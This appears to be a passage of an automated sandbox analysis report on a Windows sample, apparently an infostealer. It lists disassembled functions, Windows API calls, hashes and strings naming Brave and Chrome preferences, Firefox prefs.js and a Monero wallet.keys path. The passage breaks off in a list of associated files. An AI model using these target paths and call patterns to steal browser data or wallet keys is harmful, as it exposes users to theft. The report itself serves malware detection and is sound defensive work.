Opcode Fuzzy Hash: e6199a49bd2bb3abba411395c66580b7d7802cac95f878f660792d64d356dcab
Instruction Fuzzy Hash: 38F0E271681208BBEB149AA5AC59FBAB7E8E705B15F300458FA04E3280D5719E14DAA4

Function 002E1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 002F78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 002F7910
Part of subcall function 002F78E0: RtlAllocateHeap.NTDLL(00000000), ref: 002F7917
Part of subcall function 002F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 002F792F

Part of subcall function 002F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,002E11B7), ref: 002F7880
Part of subcall function 002F7850: RtlAllocateHeap.NTDLL(00000000), ref: 002F7887
Part of subcall function 002F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 002F789F

ExitProcess.KERNEL32 ref: 002E11C6

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 325bd44b6faf8eb596469b09271097182d183baea4863b49b8fa444101189bc7
Instruction ID: 30c793ba775e03735b5d58a43669a7b6fa85bb004a84a0eb4ecb2bfbc52a0e1a
Opcode Fuzzy Hash: 325bd44b6faf8eb596469b09271097182d183baea4863b49b8fa444101189bc7
Instruction Fuzzy Hash: 8BE012B597430A53CE1477B1AC0AB3AB29C9F253C5F480434FB09D6202FA25F835A96A

Non-executed Functions

Function 002F38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 002F38CC
FindFirstFileA.KERNEL32(?,?), ref: 002F38E3
lstrcat.KERNEL32(?,?), ref: 002F3935
StrCmpCA.SHLWAPI(?,00300F70), ref: 002F3947
StrCmpCA.SHLWAPI(?,00300F74), ref: 002F395D
FindNextFileA.KERNEL32(000000FF,?), ref: 002F3C67
FindClose.KERNEL32(000000FF), ref: 002F3C7C

Strings

%s%s, xrefs: 002F3AAD
%s\%s, xrefs: 002F397A
%s\%s, xrefs: 002F3A6F
%s\*, xrefs: 002F38C0
%s\%s\%s, xrefs: 002F3A4A

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 3effb39d97ce6a91c71e50e338cd2adbe2c92ecca8af34b3625d06f43f5c7a19
Instruction ID: d241f3f7729c584588d09264d9e08c36b2fd9366560002c20120cfe2da8e3094
Opcode Fuzzy Hash: 3effb39d97ce6a91c71e50e338cd2adbe2c92ecca8af34b3625d06f43f5c7a19
Instruction Fuzzy Hash: 11A14DB1A102099BDB34EF64CC85FFAB378BF59340F044598E60D96141EB74AB99CF62

Function 002EBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcat.KERNEL32(00000000), ref: 002FA982

Part of subcall function 002FA9B0: lstrlen.KERNEL32(?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

FindFirstFileA.KERNEL32(00000000,?,00300B32,00300B2B,00000000,?,?,?,003013F4,00300B2A), ref: 002EBEF5
StrCmpCA.SHLWAPI(?,003013F8), ref: 002EBF4D
StrCmpCA.SHLWAPI(?,003013FC), ref: 002EBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 002EC7BF
FindClose.KERNEL32(000000FF), ref: 002EC7D1

Strings

\Brave\Preferences, xrefs: 002EC1DB
Google Chrome, xrefs: 002EC634
Preferences, xrefs: 002EC11E
Brave, xrefs: 002EC102

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: ecc37e5ee2d24e8bcb89c40d2d846becb9b555f707493952f22b277592a3810d
Instruction ID: bae09f63409751eed0a70b93bc61daf7700923b6f9ec7ed8ebf2bb7f1a789df2
Opcode Fuzzy Hash: ecc37e5ee2d24e8bcb89c40d2d846becb9b555f707493952f22b277592a3810d
Instruction Fuzzy Hash: DD4255B192010897CB14FB60DD96EFDB37CAF54340F404578FA0A96191EE74AB69CF92

Function 002F4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 002F492C
FindFirstFileA.KERNEL32(?,?), ref: 002F4943
StrCmpCA.SHLWAPI(?,00300FDC), ref: 002F4971
StrCmpCA.SHLWAPI(?,00300FE0), ref: 002F4987
FindNextFileA.KERNEL32(000000FF,?), ref: 002F4B7D
FindClose.KERNEL32(000000FF), ref: 002F4B92

Strings

%s\%s, xrefs: 002F49A4
%s\*, xrefs: 002F4920
%s\%s, xrefs: 002F49FB

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 706ea56370fde05f92a99a310fbe516408b16e98be9d1ba408737bd6a9df4c6d
Instruction ID: 0a28bf8fc205e55dde0c0983db9c95d91356d1c031b74fdedc74b6c269ed6517
Opcode Fuzzy Hash: 706ea56370fde05f92a99a310fbe516408b16e98be9d1ba408737bd6a9df4c6d
Instruction Fuzzy Hash: 9B6173B1910209ABCB34EBA0DC45FFAB37CBF59340F048598F60992141EB70AB99DF91

Function 002F4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 002F4580
RtlAllocateHeap.NTDLL(00000000), ref: 002F4587
wsprintfA.USER32 ref: 002F45A6
FindFirstFileA.KERNEL32(?,?), ref: 002F45BD
StrCmpCA.SHLWAPI(?,00300FC4), ref: 002F45EB
StrCmpCA.SHLWAPI(?,00300FC8), ref: 002F4601
FindNextFileA.KERNEL32(000000FF,?), ref: 002F468B
FindClose.KERNEL32(000000FF), ref: 002F46A0
lstrcat.KERNEL32(?,0132F270), ref: 002F46C5
lstrcat.KERNEL32(?,0132E4F8), ref: 002F46D8
lstrlen.KERNEL32(?), ref: 002F46E5
lstrlen.KERNEL32(?), ref: 002F46F6

Strings

%s\%s, xrefs: 002F461B
%s\*, xrefs: 002F459A

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 6e03161adb7f4814aa80181cc3c9d558879410af47fd98b4ed38acef19932395
Instruction ID: 0a00f1b77caf4c733518decab831b431e6e5c35419e49f03dc711664bff87dcc
Opcode Fuzzy Hash: 6e03161adb7f4814aa80181cc3c9d558879410af47fd98b4ed38acef19932395
Instruction Fuzzy Hash: 5B5163B195021C9BCB24EB70DC89FFEB37CAF68740F404598F60992190EB749B999F91

Function 002F3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 002F3EC3
FindFirstFileA.KERNEL32(?,?), ref: 002F3EDA
StrCmpCA.SHLWAPI(?,00300FAC), ref: 002F3F08
StrCmpCA.SHLWAPI(?,00300FB0), ref: 002F3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 002F406C
FindClose.KERNEL32(000000FF), ref: 002F4081

Strings

%s\%s, xrefs: 002F3EB7

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: b63714760ba07f5a5e66f7f5bc8e7451740360de7e9eab1f49e368d3836fa57f
Instruction ID: e2908d68c366ae49c9c73c1f3730ec73a14e0c1012dc0d6464d0425a45a969c0
Opcode Fuzzy Hash: b63714760ba07f5a5e66f7f5bc8e7451740360de7e9eab1f49e368d3836fa57f
Instruction Fuzzy Hash: 085175B2910219ABCB24EBB0DC85EFAB37CBF54300F404598F71992140DB75EB9A9F91

Function 002EED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 002EED3E
FindFirstFileA.KERNEL32(?,?), ref: 002EED55
StrCmpCA.SHLWAPI(?,00301538), ref: 002EEDAB
StrCmpCA.SHLWAPI(?,0030153C), ref: 002EEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 002EF2AE
FindClose.KERNEL32(000000FF), ref: 002EF2C3

Strings

%s\*.*, xrefs: 002EED32

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 913c469e3c259f89ec83ff8abed00df73d9775513dde9055f0346f61537d99b4
Instruction ID: c81eb4be9db280f05022796aacb3394afd16dadad07251c0ae6614ceaa016b72
Opcode Fuzzy Hash: 913c469e3c259f89ec83ff8abed00df73d9775513dde9055f0346f61537d99b4
Instruction Fuzzy Hash: 78E1D1B192111C9ADB55FB60CC52EFEB338AF54780F4041B9B60F62096EE706B9ACF51

Function 002EF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcat.KERNEL32(00000000), ref: 002FA982

Part of subcall function 002FA9B0: lstrlen.KERNEL32(?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003015B8,00300D96), ref: 002EF71E
StrCmpCA.SHLWAPI(?,003015BC), ref: 002EF76F
StrCmpCA.SHLWAPI(?,003015C0), ref: 002EF785
FindNextFileA.KERNEL32(000000FF,?), ref: 002EFAB1
FindClose.KERNEL32(000000FF), ref: 002EFAC3

Strings

prefs.js, xrefs: 002EF812

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: f37fd22c3a33adfdf58f34cbc7a3567f8b1721429cb55f8befeea8104f79b700
Instruction ID: 6a9a10e98d2925735433ebaa3c71219746e2152fca504c99c8449d17a198c30b
Opcode Fuzzy Hash: f37fd22c3a33adfdf58f34cbc7a3567f8b1721429cb55f8befeea8104f79b700
Instruction Fuzzy Hash: 18B153B19201089BCB24FF60DD96EFDB378AF54340F4081B8A50E96195EF706B69CF92

Function 002E16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0030510C,?,?,?,003051B4,?,?,00000000,?,00000000), ref: 002E1923
StrCmpCA.SHLWAPI(?,0030525C), ref: 002E1973
StrCmpCA.SHLWAPI(?,00305304), ref: 002E1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002E1D40
DeleteFileA.KERNEL32(00000000), ref: 002E1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 002E1E20
FindClose.KERNEL32(000000FF), ref: 002E1E32

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcat.KERNEL32(00000000), ref: 002FA982

Part of subcall function 002FA9B0: lstrlen.KERNEL32(?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

Strings

\*.*, xrefs: 002E17F1

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: f54f9b8f92fc5c693fb60fa9c501e26a6df7b49d2310b024b941e68b10c28d20
Instruction ID: c037eff36c5f03fd22faa9a51cc1ca5d51e447b12eca1bf4d429d96b3976cd7e
Opcode Fuzzy Hash: f54f9b8f92fc5c693fb60fa9c501e26a6df7b49d2310b024b941e68b10c28d20
Instruction Fuzzy Hash: 9E12E3B192111C9BDB15EB60CC56AFEB378AF54780F4041B9A60E62091EF706F99CF91

Function 002EDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Part of subcall function 002FA9B0: lstrlen.KERNEL32(?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00300C2E), ref: 002EDE5E
StrCmpCA.SHLWAPI(?,003014C8), ref: 002EDEAE
StrCmpCA.SHLWAPI(?,003014CC), ref: 002EDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 002EE3E0
FindClose.KERNEL32(000000FF), ref: 002EE3F2

Strings

\*.*, xrefs: 002EDE26

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
